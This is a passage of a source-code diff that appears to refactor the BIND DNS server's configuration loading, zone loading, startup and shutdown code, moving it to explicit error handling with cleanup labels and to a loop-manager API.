 		dns_view_detach(&view);
 	}
@@ -9360,14 +9188,23 @@ load_configuration(const char *filename, named_server_t *server,
 	     element = cfg_list_next(element))
 	{
 		cfg_obj_t *vconfig = cfg_listelt_value(element);
+		dns_view_t *view = NULL;
+
+		result = create_view(vconfig, &builtin_viewlist, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_cachelist;
+		}
 
-		CHECK(create_view(vconfig, &builtin_viewlist, &view));
-		CHECK(configure_view(view, &viewlist, config, vconfig,
-				     &cachelist, &server->kasplist, bindkeys,
-				     named_g_mctx, named_g_aclconfctx, false));
+		result = configure_view(view, &viewlist, config, vconfig,
+					&cachelist, &server->kasplist, bindkeys,
+					named_g_mctx, named_g_aclconfctx,
+					false);
+		if (result != ISC_R_SUCCESS) {
+			dns_view_detach(&view);
+			goto cleanup_cachelist;
+		}
 		dns_view_freeze(view);
 		dns_view_detach(&view);
-		view = NULL;
 	}
 
 	/* Now combine the two viewlists into one */
@@ -9377,7 +9214,7 @@ load_configuration(const char *filename, named_server_t *server,
 	 * Commit any dns_zone_setview() calls on all zones in the new
 	 * view.
 	 */
-	for (view = ISC_LIST_HEAD(viewlist); view != NULL;
+	for (dns_view_t *view = ISC_LIST_HEAD(viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
 		dns_view_setviewcommit(view);
@@ -9389,10 +9226,10 @@ load_configuration(const char *filename, named_server_t *server,
 	viewlist = tmpviewlist;
 
 	/* Make the view list available to each of the views */
-	view = ISC_LIST_HEAD(server->viewlist);
-	while (view != NULL) {
+	for (dns_view_t *view = ISC_LIST_HEAD(server->viewlist); view != NULL;
+	     view = ISC_LIST_NEXT(view, link))
+	{
 		view->viewlist = &server->viewlist;
-		view = ISC_LIST_NEXT(view, link);
 	}
 
 	/* Swap our new cache list with the production one. */
@@ -9402,22 +9239,23 @@ load_configuration(const char *filename, named_server_t *server,
 
 	/* Load the TKEY information from the configuration. */
 	if (options != NULL) {
-		dns_tkeyctx_t *t = NULL;
-		CHECKM(named_tkeyctx_fromconfig(options, named_g_mctx, &t),
-		       "configuring TKEY");
+		dns_tkeyctx_t *tkeyctx = NULL;
+
+		result = named_tkeyctx_fromconfig(options, named_g_mctx,
+						  &tkeyctx);
+		if (result != ISC_R_SUCCESS) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+				      "configuring TKEY: %s",
+				      isc_result_totext(result));
+			goto cleanup_cachelist;
+		}
 		if (server->sctx->tkeyctx != NULL) {
 			dns_tkeyctx_destroy(&server->sctx->tkeyctx);
 		}
-		server->sctx->tkeyctx = t;
+		server->sctx->tkeyctx = tkeyctx;
 	}
 
-	/*
-	 * Bind the control port(s).
-	 */
-	CHECKM(named_controls_configure(named_g_server->controls, config,
-					named_g_aclconfctx),
-	       "binding control channel(s)");
-
 #ifdef HAVE_LMDB
 	/*
 	 * If we're using LMDB, we may have created newzones databases
@@ -9426,8 +9264,8 @@ load_configuration(const char *filename, named_server_t *server,
 	 * after relinquishing privileges them.
 	 */
 	if (first_time) {
-		for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-		     view = ISC_LIST_NEXT(view, link))
+		for (dns_view_t *view = ISC_LIST_HEAD(server->viewlist);
+		     view != NULL; view = ISC_LIST_NEXT(view, link))
 		{
 			nzd_env_close(view);
 		}
@@ -9449,7 +9287,7 @@ load_configuration(const char *filename, named_server_t *server,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "the working directory is not writable");
 		result = ISC_R_NOPERM;
-		goto cleanup;
+		goto cleanup_cachelist;
 	}
 
 #ifdef HAVE_LMDB
@@ -9457,8 +9295,8 @@ load_configuration(const char *filename, named_server_t *server,
 	 * Reopen NZD databases.
 	 */
 	if (first_time) {
-		for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-		     view = ISC_LIST_NEXT(view, link))
+		for (dns_view_t *view = ISC_LIST_HEAD(server->viewlist);
+		     view != NULL; view = ISC_LIST_NEXT(view, link))
 		{
 			nzd_env_reopen(view);
 		}
@@ -9491,7 +9329,7 @@ load_configuration(const char *filename, named_server_t *server,
 					"checking logging configuration "
 					"failed: %s",
 					isc_result_totext(result));
-				goto cleanup;
+				goto cleanup_cachelist;
 			}
 		}
 	} else {
@@ -9502,14 +9340,38 @@ load_configuration(const char *filename, named_server_t *server,
 		logobj = NULL;
 		(void)cfg_map_get(config, "logging", &logobj);
 		if (logobj != NULL) {
-			CHECKM(named_logconfig(logc, logobj), "configuring "
-							      "logging");
+			result = named_logconfig(logc, logobj);
+			if (result != ISC_R_SUCCESS) {
+				isc_log_write(
+					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+					NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+					"configuring logging: %s",
+					isc_result_totext(result));
+				goto cleanup_logc;
+			}
 		} else {
 			named_log_setdefaultchannels(logc);
-			CHECKM(named_log_setunmatchedcategory(logc),
-			       "setting up default 'category unmatched'");
-			CHECKM(named_log_setdefaultcategory(logc),
-			       "setting up default 'category default'");
+			named_log_setdefaultsslkeylogfile(logc);
+			result = named_log_setunmatchedcategory(logc);
+			if (result != ISC_R_SUCCESS) {
+				isc_log_write(
+					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+					NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+					"setting up default 'category "
+					"unmatched': %s",
+					isc_result_totext(result));
+				goto cleanup_logc;
+			}
+			result = named_log_setdefaultcategory(logc);
+			if (result != ISC_R_SUCCESS) {
+				isc_log_write(
+					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+					NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+					"setting up default 'category "
+					"default': %s",
+					isc_result_totext(result));
+				goto cleanup_logc;
+			}
 		}
 
 		isc_logconfig_use(named_g_lctx, logc);
@@ -9586,31 +9448,27 @@ load_configuration(const char *filename, named_server_t *server,
 	obj = NULL;
 	result = named_config_get(maps, "statistics-file", &obj);
 	INSIST(result == ISC_R_SUCCESS);
-	CHECKM(setstring(server, &server->statsfile, cfg_obj_asstring(obj)),
-	       "strdup");
+	setstring(server, &server->statsfile, cfg_obj_asstring(obj));
 
 	obj = NULL;
 	result = named_config_get(maps, "dump-file", &obj);
 	INSIST(result == ISC_R_SUCCESS);
-	CHECKM(setstring(server, &server->dumpfile, cfg_obj_asstring(obj)),
-	       "strdup");
+	setstring(server, &server->dumpfile, cfg_obj_asstring(obj));
 
 	obj = NULL;
 	result = named_config_get(maps, "secroots-file", &obj);
 	INSIST(result == ISC_R_SUCCESS);
-	CHECKM(setstring(server, &server->secrootsfile, cfg_obj_asstring(obj)),
-	       "strdup");
+	setstring(server, &server->secrootsfile, cfg_obj_asstring(obj));
 
 	obj = NULL;
 	result = named_config_get(maps, "recursing-file", &obj);
 	INSIST(result == ISC_R_SUCCESS);
-	CHECKM(setstring(server, &server->recfile, cfg_obj_asstring(obj)),
-	       "strdup");
+	setstring(server, &server->recfile, cfg_obj_asstring(obj));
 
 	obj = NULL;
 	result = named_config_get(maps, "version", &obj);
 	if (result == ISC_R_SUCCESS) {
-		CHECKM(setoptstring(server, &server->version, obj), "strdup");
+		setoptstring(server, &server->version, obj);
 		server->version_set = true;
 	} else {
 		server->version_set = false;
@@ -9619,7 +9477,7 @@ load_configuration(const char *filename, named_server_t *server,
 	obj = NULL;
 	result = named_config_get(maps, "hostname", &obj);
 	if (result == ISC_R_SUCCESS) {
-		CHECKM(setoptstring(server, &server->hostname, obj), "strdup");
+		setoptstring(server, &server->hostname, obj);
 		server->hostname_set = true;
 	} else {
 		server->hostname_set = false;
@@ -9627,10 +9485,10 @@ load_configuration(const char *filename, named_server_t *server,
 
 	obj = NULL;
 	result = named_config_get(maps, "server-id", &obj);
-	server->sctx->gethostname = NULL;
+	server->sctx->usehostname = false;
 	if (result == ISC_R_SUCCESS && cfg_obj_isboolean(obj)) {
 		/* The parser translates "hostname" to true */
-		server->sctx->gethostname = named_os_gethostname;
+		server->sctx->usehostname = true;
 		result = ns_server_setserverid(server->sctx, NULL);
 	} else if (result == ISC_R_SUCCESS && !cfg_obj_isvoid(obj)) {
 		/* Found a quoted string */
@@ -9662,8 +9520,7 @@ load_configuration(const char *filename, named_server_t *server,
 	} else if (strcasecmp(cfg_obj_asstring(obj), "aes") == 0) {
 		server->sctx->cookiealg = ns_cookiealg_aes;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	obj = NULL;
@@ -9688,8 +9545,9 @@ load_configuration(const char *filename, named_server_t *server,
 						sizeof(server->sctx->secret));
 				result = isc_hex_decodestring(str, &b);
 				if (result != ISC_R_SUCCESS &&
-				    result != ISC_R_NOSPACE) {
-					goto cleanup;
+				    result != ISC_R_NOSPACE)
+				{
+					goto cleanup_altsecrets;
 				}
 				first = false;
 			} else {
@@ -9699,11 +9557,12 @@ load_configuration(const char *filename, named_server_t *server,
 						sizeof(altsecret->secret));
 				result = isc_hex_decodestring(str, &b);
 				if (result != ISC_R_SUCCESS &&
-				    result != ISC_R_NOSPACE) {
+				    result != ISC_R_NOSPACE)
+				{
 					isc_mem_put(server->sctx->mctx,
 						    altsecret,
 						    sizeof(*altsecret));
-					goto cleanup;
+					goto cleanup_altsecrets;
 				}
 				ISC_LIST_INITANDAPPEND(altsecrets, altsecret,
 						       link);
@@ -9714,16 +9573,31 @@ load_configuration(const char *filename, named_server_t *server,
 			case ns_cookiealg_siphash24:
 				expectedlength = ISC_SIPHASH24_KEY_LENGTH;
 				if (usedlength != expectedlength) {
-					CHECKM(ISC_R_RANGE, "SipHash-2-4 "
-							    "cookie-secret "
-							    "must be 128 bits");
+					result = ISC_R_RANGE;
+					isc_log_write(
+						named_g_lctx,
+						NAMED_LOGCATEGORY_GENERAL,
+						NAMED_LOGMODULE_SERVER,
+						ISC_LOG_ERROR,
+						"SipHash-2-4 cookie-secret "
+						"must be 128 bits: %s",
+						isc_result_totext(result));
+					goto cleanup_altsecrets;
 				}
 				break;
 			case ns_cookiealg_aes:
 				expectedlength = ISC_AES128_KEYLENGTH;
 				if (usedlength != expectedlength) {
-					CHECKM(ISC_R_RANGE, "AES cookie-secret "
-							    "must be 128 bits");
+					result = ISC_R_RANGE;
+					isc_log_write(
+						named_g_lctx,
+						NAMED_LOGCATEGORY_GENERAL,
+						NAMED_LOGMODULE_SERVER,
+						ISC_LOG_ERROR,
+						"AES cookie-secret must be 128 "
+						"bits: %s",
+						isc_result_totext(result));
+					goto cleanup_altsecrets;
 				}
 				break;
 			}
@@ -9747,115 +9621,121 @@ load_configuration(const char *filename, named_server_t *server,
 	 * Start and connect to the DNS Response Policy Service
 	 * daemon, dnsrpzd, for each view that uses DNSRPS.
 	 */
-	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
+	for (dns_view_t *view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
 		result = dns_dnsrps_connect(view->rpzs);
 		if (result != ISC_R_SUCCESS) {
 			view = NULL;
-			goto cleanup;
+			goto cleanup_altsecrets;
 		}
 	}
 #endif /* ifdef USE_DNSRPS */
 
-	result = ISC_R_SUCCESS;
+	/*
+	 * Record the time of most recent configuration
+	 */
+	named_g_configtime = isc_time_now();
 
-cleanup:
-	if (logc != NULL) {
-		isc_logconfig_destroy(&logc);
-	}
+	isc_loopmgr_resume(named_g_loopmgr);
+	exclusive = false;
 
-	if (v4portset != NULL) {
-		isc_portset_destroy(named_g_mctx, &v4portset);
+	/* Configure the statistics channel(s) */
+	result = named_statschannels_configure(named_g_server, config,
+					       named_g_aclconfctx);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+			      "configuring statistics server(s): %s",
+			      isc_result_totext(result));
+		goto cleanup_altsecrets;
 	}
 
-	if (v6portset != NULL) {
-		isc_portset_destroy(named_g_mctx, &v6portset);
+	/*
+	 * Bind the control port(s).
+	 */
+	result = named_controls_configure(named_g_server->controls, config,
+					  named_g_aclconfctx);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+			      "binding control channel(s): %s",
+			      isc_result_totext(result));
+		goto cleanup_altsecrets;
 	}
 
-	if (conf_parser != NULL) {
-		if (config != NULL) {
-			cfg_obj_destroy(conf_parser, &config);
-		}
-		cfg_parser_destroy(&conf_parser);
-	}
+	(void)ns_interfacemgr_scan(server->interfacemgr, true, true);
 
-	if (bindkeys_parser != NULL) {
-		if (bindkeys != NULL) {
-			cfg_obj_destroy(bindkeys_parser, &bindkeys);
-		}
-		cfg_parser_destroy(&bindkeys_parser);
+	/*
+	 * These cleans up either the old production view list
+	 * or our temporary list depending on whether they
+	 * were swapped above or not.
+	 */
+cleanup_altsecrets:
+	while ((altsecret = ISC_LIST_HEAD(altsecrets)) != NULL) {
+		ISC_LIST_UNLINK(altsecrets, altsecret, link);
+		isc_mem_put(server->sctx->mctx, altsecret, sizeof(*altsecret));
 	}
 
-	if (view != NULL) {
-		dns_view_detach(&view);
+cleanup_logc:
+	if (logc != NULL) {
+		isc_logconfig_destroy(&logc);
 	}
 
-	if (kasp != NULL) {
-		dns_kasp_detach(&kasp);
+cleanup_cachelist:
+	while ((nsc = ISC_LIST_HEAD(cachelist)) != NULL) {
+		ISC_LIST_UNLINK(cachelist, nsc, link);
+		dns_cache_detach(&nsc->cache);
+		isc_mem_put(server->mctx, nsc, sizeof(*nsc));
 	}
 
 	ISC_LIST_APPENDLIST(viewlist, builtin_viewlist, link);
 
-	/*
-	 * This cleans up either the old production view list
-	 * or our temporary list depending on whether they
-	 * were swapped above or not.
-	 */
-	for (view = ISC_LIST_HEAD(viewlist); view != NULL; view = view_next) {
+cleanup_viewlist:
+	for (dns_view_t *view = ISC_LIST_HEAD(viewlist); view != NULL;
+	     view = view_next)
+	{
 		view_next = ISC_LIST_NEXT(view, link);
 		ISC_LIST_UNLINK(viewlist, view, link);
 		if (result == ISC_R_SUCCESS && strcmp(view->name, "_bind") != 0)
 		{
 			dns_view_setviewrevert(view);
-			(void)dns_zt_apply(view->zonetable, false, NULL,
-					   removed, view);
+			(void)dns_view_apply(view, false, NULL, removed, view);
 		}
 		dns_view_detach(&view);
 	}
 
-	/*
-	 * Same cleanup for kasp list.
-	 */
+cleanup_kasplist:
 	for (kasp = ISC_LIST_HEAD(kasplist); kasp != NULL; kasp = kasp_next) {
 		kasp_next = ISC_LIST_NEXT(kasp, link);
 		ISC_LIST_UNLINK(kasplist, kasp, link);
 		dns_kasp_detach(&kasp);
 	}
 
-	/* Same cleanup for cache list. */
-	while ((nsc = ISC_LIST_HEAD(cachelist)) != NULL) {
-		ISC_LIST_UNLINK(cachelist, nsc, link);
-		dns_cache_detach(&nsc->cache);
-		isc_mem_put(server->mctx, nsc, sizeof(*nsc));
-	}
+cleanup_v6portset:
+	isc_portset_destroy(named_g_mctx, &v6portset);
 
-	/* Cleanup for altsecrets list. */
-	while ((altsecret = ISC_LIST_HEAD(altsecrets)) != NULL) {
-		ISC_LIST_UNLINK(altsecrets, altsecret, link);
-		isc_mem_put(server->sctx->mctx, altsecret, sizeof(*altsecret));
-	}
+cleanup_v4portset:
+	isc_portset_destroy(named_g_mctx, &v4portset);
 
-	/*
-	 * Adjust the listening interfaces in accordance with the source
-	 * addresses specified in views and zones.
-	 */
-	if (isc_net_probeipv6() == ISC_R_SUCCESS) {
-		adjust_interfaces(server, named_g_mctx);
-	}
+cleanup_bindkeys_parser:
 
-	/*
-	 * Record the time of most recent configuration
-	 */
-	tresult = isc_time_now(&named_g_configtime);
-	if (tresult != ISC_R_SUCCESS) {
-		named_main_earlyfatal("isc_time_now() failed: %s",
-				      isc_result_totext(result));
+	if (bindkeys_parser != NULL) {
+		if (bindkeys != NULL) {
+			cfg_obj_destroy(bindkeys_parser, &bindkeys);
+		}
+		cfg_parser_destroy(&bindkeys_parser);
 	}
 
-	/* Relinquish exclusive access to configuration data. */
+cleanup_config:
+	cfg_obj_destroy(conf_parser, &config);
+
+cleanup_conf_parser:
+	cfg_parser_destroy(&conf_parser);
+
+cleanup_exclusive:
 	if (exclusive) {
-		isc_task_endexclusive(server->task);
+		isc_loopmgr_resume(named_g_loopmgr);
 	}
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
@@ -9873,7 +9753,7 @@ view_loaded(void *arg) {
 	/*
 	 * Force zone maintenance.  Do this after loading
 	 * so that we know when we need to force AXFR of
-	 * slave zones whose master files are missing.
+	 * secondary zones whose master files are missing.
 	 *
 	 * We use the zoneload reference counter to let us
 	 * know when all views are finished.
@@ -9881,6 +9761,7 @@ view_loaded(void *arg) {
 	if (isc_refcount_decrement(&zl->refs) == 1) {
 		named_server_t *server = zl->server;
 		bool reconfig = zl->reconfig;
+		dns_view_t *view = NULL;
 
 		isc_refcount_destroy(&zl->refs);
 		isc_mem_put(server->mctx, zl, sizeof(*zl));
@@ -9901,17 +9782,46 @@ view_loaded(void *arg) {
 				      "all zones loaded");
 		}
 
+		for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
+		     view = ISC_LIST_NEXT(view, link))
+		{
+			if (view->managed_keys != NULL) {
+				result = dns_zone_synckeyzone(
+					view->managed_keys);
+				if (result != ISC_R_SUCCESS) {
+					isc_log_write(
+						named_g_lctx,
+						DNS_LOGCATEGORY_DNSSEC,
+						DNS_LOGMODULE_DNSSEC,
+						ISC_LOG_ERROR,
+						"failed to initialize "
+						"managed-keys for view %s "
+						"(%s): DNSSEC validation is "
+						"at risk",
+						view->name,
+						isc_result_totext(result));
+				}
+			}
+		}
+
 		CHECKFATAL(dns_zonemgr_forcemaint(server->zonemgr),
 			   "forcing zone maintenance");
 
 		named_os_started();
 
-#ifdef HAVE_FIPS_MODE
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_NOTICE,
 			      "FIPS mode is %s",
-			      FIPS_mode() ? "enabled" : "disabled");
-#endif /* ifdef HAVE_FIPS_MODE */
+			      isc_fips_mode() ? "enabled" : "disabled");
+
+#if HAVE_LIBSYSTEMD
+		sd_notifyf(0,
+			   "READY=1\n"
+			   "STATUS=running\n"
+			   "MAINPID=%" PRId64 "\n",
+			   (int64_t)getpid());
+#endif /* HAVE_LIBSYSTEMD */
+
 		atomic_store(&server->reload_status, NAMED_RELOAD_DONE);
 
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
@@ -9923,9 +9833,8 @@ view_loaded(void *arg) {
 }
 
 static isc_result_t
-load_zones(named_server_t *server, bool init, bool reconfig) {
-	isc_result_t result;
-	isc_taskmgr_t *taskmgr = dns_zonemgr_gettaskmgr(server->zonemgr);
+load_zones(named_server_t *server, bool reconfig) {
+	isc_result_t result = ISC_R_SUCCESS;
 	ns_zoneload_t *zl = NULL;
 	dns_view_t *view = NULL;
 
@@ -9933,8 +9842,7 @@ load_zones(named_server_t *server, bool init, bool reconfig) {
 	zl->server = server;
 	zl->reconfig = reconfig;
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 
 	isc_refcount_init(&zl->refs, 1);
 
@@ -9981,40 +9889,22 @@ load_zones(named_server_t *server, bool init, bool reconfig) {
 		isc_mem_put(server->mctx, zl, sizeof(*zl));
 	}
 
-	if (init) {
-		/*
-		 * If we're setting up the server for the first time, set
-		 * the task manager into privileged mode; this ensures
-		 * that no other tasks will begin to run until after zone
-		 * loading is complete. We won't return from exclusive mode
-		 * until the loading is finished; we can then drop out of
-		 * privileged mode.
-		 *
-		 * We do *not* want to do this in the case of reload or
-		 * reconfig, as loading a large zone could cause the server
-		 * to be inactive for too long a time.
-		 */
-		isc_taskmgr_setmode(taskmgr, isc_taskmgrmode_privileged);
-		isc_task_endexclusive(server->task);
-		isc_taskmgr_setmode(taskmgr, isc_taskmgrmode_normal);
-	} else {
-		isc_task_endexclusive(server->task);
-	}
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	return (result);
 }
 
 static void
-run_server(isc_task_t *task, isc_event_t *event) {
+run_server(void *arg) {
 	isc_result_t result;
-	named_server_t *server = (named_server_t *)event->ev_arg;
-	dns_geoip_databases_t *geoip;
-
-	INSIST(task == server->task);
+	named_server_t *server = (named_server_t *)arg;
+	dns_geoip_databases_t *geoip = NULL;
 
-	isc_event_free(&event);
+	dns_zonemgr_create(named_g_mctx, named_g_loopmgr, named_g_netmgr,
+			   &server->zonemgr);
 
-	CHECKFATAL(dns_dispatchmgr_create(named_g_mctx, &named_g_dispatchmgr),
+	CHECKFATAL(dns_dispatchmgr_create(named_g_mctx, named_g_netmgr,
+					  &named_g_dispatchmgr),
 		   "creating dispatch manager");
 
 	dns_dispatchmgr_setstats(named_g_dispatchmgr, server->resolverstats);
@@ -10025,34 +9915,37 @@ run_server(isc_task_t *task, isc_event_t *event) {
 	geoip = NULL;
 #endif /* if defined(HAVE_GEOIP2) */
 
-	CHECKFATAL(ns_interfacemgr_create(
-			   named_g_mctx, server->sctx, named_g_taskmgr,
-			   named_g_timermgr, named_g_socketmgr, named_g_netmgr,
-			   named_g_dispatchmgr, server->task, named_g_udpdisp,
-			   geoip, named_g_cpus, &server->interfacemgr),
+	CHECKFATAL(ns_interfacemgr_create(named_g_mctx, server->sctx,
+					  named_g_loopmgr, named_g_netmgr,
+					  named_g_dispatchmgr, geoip, true,
+					  &server->interfacemgr),
 		   "creating interface manager");
 
-	CHECKFATAL(isc_timer_create(named_g_timermgr, isc_timertype_inactive,
-				    NULL, NULL, server->task,
-				    interface_timer_tick, server,
-				    &server->interface_timer),
-		   "creating interface timer");
+	/*
+	 * In some cases the user might expect a certain behaviour from
+	 * the rescan timer, let's try to deduce that from the
+	 * configuration options.
+	 */
+	if ((ns_interfacemgr_dynamic_updates_are_reliable() &&
+	     server->interface_auto) ||
+	    (server->interface_interval == 0))
+	{
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
+			      "Disabling periodic interface re-scans timer");
+	} else {
+		isc_timer_create(named_g_mainloop, interface_timer_tick, server,
+				 &server->interface_timer);
+	}
 
-	CHECKFATAL(isc_timer_create(named_g_timermgr, isc_timertype_inactive,
-				    NULL, NULL, server->task,
-				    heartbeat_timer_tick, server,
-				    &server->heartbeat_timer),
-		   "creating heartbeat timer");
+	isc_timer_create(named_g_mainloop, heartbeat_timer_tick, server,
+			 &server->heartbeat_timer);
 
-	CHECKFATAL(isc_timer_create(named_g_timermgr, isc_timertype_inactive,
-				    NULL, NULL, server->task, tat_timer_tick,
-				    server, &server->tat_timer),
-		   "creating trust anchor telemetry timer");
+	isc_timer_create(named_g_mainloop, tat_timer_tick, server,
+			 &server->tat_timer);
 
-	CHECKFATAL(isc_timer_create(named_g_timermgr, isc_timertype_inactive,
-				    NULL, NULL, server->task, pps_timer_tick,
-				    server, &server->pps_timer),
-		   "creating pps timer");
+	isc_timer_create(named_g_mainloop, pps_timer_tick, server,
+			 &server->pps_timer);
 
 	CHECKFATAL(
 		cfg_parser_create(named_g_mctx, named_g_lctx, &named_g_parser),
@@ -10065,7 +9958,7 @@ run_server(isc_task_t *task, isc_event_t *event) {
 	CHECKFATAL(load_configuration(named_g_conffile, server, true),
 		   "loading configuration");
 
-	CHECKFATAL(load_zones(server, true, false), "loading zones");
+	CHECKFATAL(load_zones(server, false), "loading zones");
 #ifdef ENABLE_AFL
 	named_g_run_done = true;
 #endif /* ifdef ENABLE_AFL */
@@ -10079,16 +9972,19 @@ named_server_flushonshutdown(named_server_t *server, bool flush) {
 }
 
 static void
-shutdown_server(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	dns_view_t *view, *view_next = NULL;
-	dns_kasp_t *kasp, *kasp_next = NULL;
-	named_server_t *server = (named_server_t *)event->ev_arg;
+shutdown_server(void *arg) {
+	named_server_t *server = (named_server_t *)arg;
+	dns_view_t *view = NULL, *view_next = NULL;
+	dns_kasp_t *kasp = NULL, *kasp_next = NULL;
 	bool flush = server->flushonshutdown;
-	named_cache_t *nsc;
+	named_cache_t *nsc = NULL;
+
+#if HAVE_LIBSYSTEMD
+	sd_notify(0, "STOPPING=1\n");
+#endif /* HAVE_LIBSYSTEMD */
 
-	UNUSED(task);
-	INSIST(task == server->task);
+	isc_signal_stop(server->sighup);
+	isc_signal_destroy(&server->sighup);
 
 	/*
 	 * We need to shutdown the interface before going
@@ -10096,16 +9992,16 @@ shutdown_server(isc_task_t *task, isc_event_t *event) {
 	 */
 	ns_interfacemgr_shutdown(server->interfacemgr);
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	named_controls_shutdown(server->controls);
+
+	named_statschannels_shutdown(server);
+
+	isc_loopmgr_pause(named_g_loopmgr);
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO, "shutting down%s",
 		      flush ? ": flushing changes" : "");
 
-	named_statschannels_shutdown(server);
-	named_controls_shutdown(server->controls);
-	end_reserved_dispatches(server, true);
 	cleanup_session_key(server, server->mctx);
 
 	if (named_g_aclconfctx != NULL) {
@@ -10119,21 +10015,20 @@ shutdown_server(isc_task_t *task, isc_event_t *event) {
 	(void)named_server_saventa(server);
 
 	for (kasp = ISC_LIST_HEAD(server->kasplist); kasp != NULL;
-	     kasp = kasp_next) {
+	     kasp = kasp_next)
+	{
 		kasp_next = ISC_LIST_NEXT(kasp, link);
 		ISC_LIST_UNLINK(server->kasplist, kasp, link);
 		dns_kasp_detach(&kasp);
 	}
 
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-	     view = view_next) {
+	     view = view_next)
+	{
 		view_next = ISC_LIST_NEXT(view, link);
 		ISC_LIST_UNLINK(server->viewlist, view, link);
-		if (flush) {
-			dns_view_flushanddetach(&view);
-		} else {
-			dns_view_detach(&view);
-		}
+		dns_view_flushonshutdown(view, flush);
+		dns_view_detach(&view);
 	}
 
 	/*
@@ -10147,14 +10042,16 @@ shutdown_server(isc_task_t *task, isc_event_t *event) {
 		isc_mem_put(server->mctx, nsc, sizeof(*nsc));
 	}
 
-	isc_timer_detach(&server->interface_timer);
-	isc_timer_detach(&server->heartbeat_timer);
-	isc_timer_detach(&server->pps_timer);
-	isc_timer_detach(&server->tat_timer);
+	if (server->interface_timer != NULL) {
+		isc_timer_destroy(&server->interface_timer);
+	}
+	isc_timer_destroy(&server->heartbeat_timer);
+	isc_timer_destroy(&server->pps_timer);
+	isc_timer_destroy(&server->tat_timer);
 
 	ns_interfacemgr_detach(&server->interfacemgr);
 
-	dns_dispatchmgr_destroy(&named_g_dispatchmgr);
+	dns_dispatchmgr_detach(&named_g_dispatchmgr);
 
 	dns_zonemgr_shutdown(server->zonemgr);
 
@@ -10168,11 +10065,7 @@ shutdown_server(isc_task_t *task, isc_event_t *event) {
 
 	dns_db_detach(&server->in_roothints);
 
-	isc_task_endexclusive(server->task);
-
-	isc_task_detach(&server->task);
-
-	isc_event_free(&event);
+	isc_loopmgr_resume(named_g_loopmgr);
 }
 
 /*%
@@ -10192,7 +10085,8 @@ get_matching_view(isc_netaddr_t *srcaddr, isc_netaddr_t *destaddr,
 	     view = ISC_LIST_NEXT(view, link))
 	{
 		if (message->rdclass == view->rdclass ||
-		    message->rdclass == dns_rdataclass_any) {
+		    message->rdclass == dns_rdataclass_any)
+		{
 			const dns_name_t *tsig = NULL;
 
 			*sigresult = dns_message_rechecksig(message, view);
@@ -10224,28 +10118,21 @@ named_server_create(isc_mem_t *mctx, named_server_t **serverp) {
 	isc_result_t result;
 	named_server_t *server = isc_mem_get(mctx, sizeof(*server));
 
-	if (server == NULL) {
-		fatal(server, "allocating server object", ISC_R_NOMEMORY);
-	}
-
-	server->mctx = mctx;
-	server->task = NULL;
-	server->zonemgr = NULL;
-
-#ifdef USE_DNSRPS
-	CHECKFATAL(dns_dnsrps_server_create(), "initializing RPZ service "
-					       "interface");
-#endif /* ifdef USE_DNSRPS */
+	*server = (named_server_t){
+		.mctx = mctx,
+		.statsfile = isc_mem_strdup(mctx, "named.stats"),
+		.dumpfile = isc_mem_strdup(mctx, "named_dump.db"),
+		.secrootsfile = isc_mem_strdup(mctx, "named.secroots"),
+		.recfile = isc_mem_strdup(mctx, "named.recursing"),
+	};
 
 	/* Initialize server data structures. */
-	server->interfacemgr = NULL;
 	ISC_LIST_INIT(server->kasplist);
 	ISC_LIST_INIT(server->viewlist);
-	server->in_roothints = NULL;
 
 	/* Must be first. */
-	CHECKFATAL(dst_lib_init(named_g_mctx, named_g_engine), "initializing "
-							       "DST");
+	CHECKFATAL(dst_lib_init(named_g_mctx, named_g_engine),
+		   "initializing DST");
 
 	CHECKFATAL(dns_rootns_create(mctx, dns_rdataclass_in, NULL,
 				     &server->in_roothints),
@@ -10253,19 +10140,7 @@ named_server_create(isc_mem_t *mctx, named_server_t **serverp) {
 
 	atomic_init(&server->reload_status, NAMED_RELOAD_IN_PROGRESS);
 
-	/*
-	 * Setup the server task, which is responsible for coordinating
-	 * startup and shutdown of the server, as well as all exclusive
-	 * tasks.
-	 */
-	CHECKFATAL(isc_task_create_bound(named_g_taskmgr, 0, &server->task, 0),
-		   "creating server task");
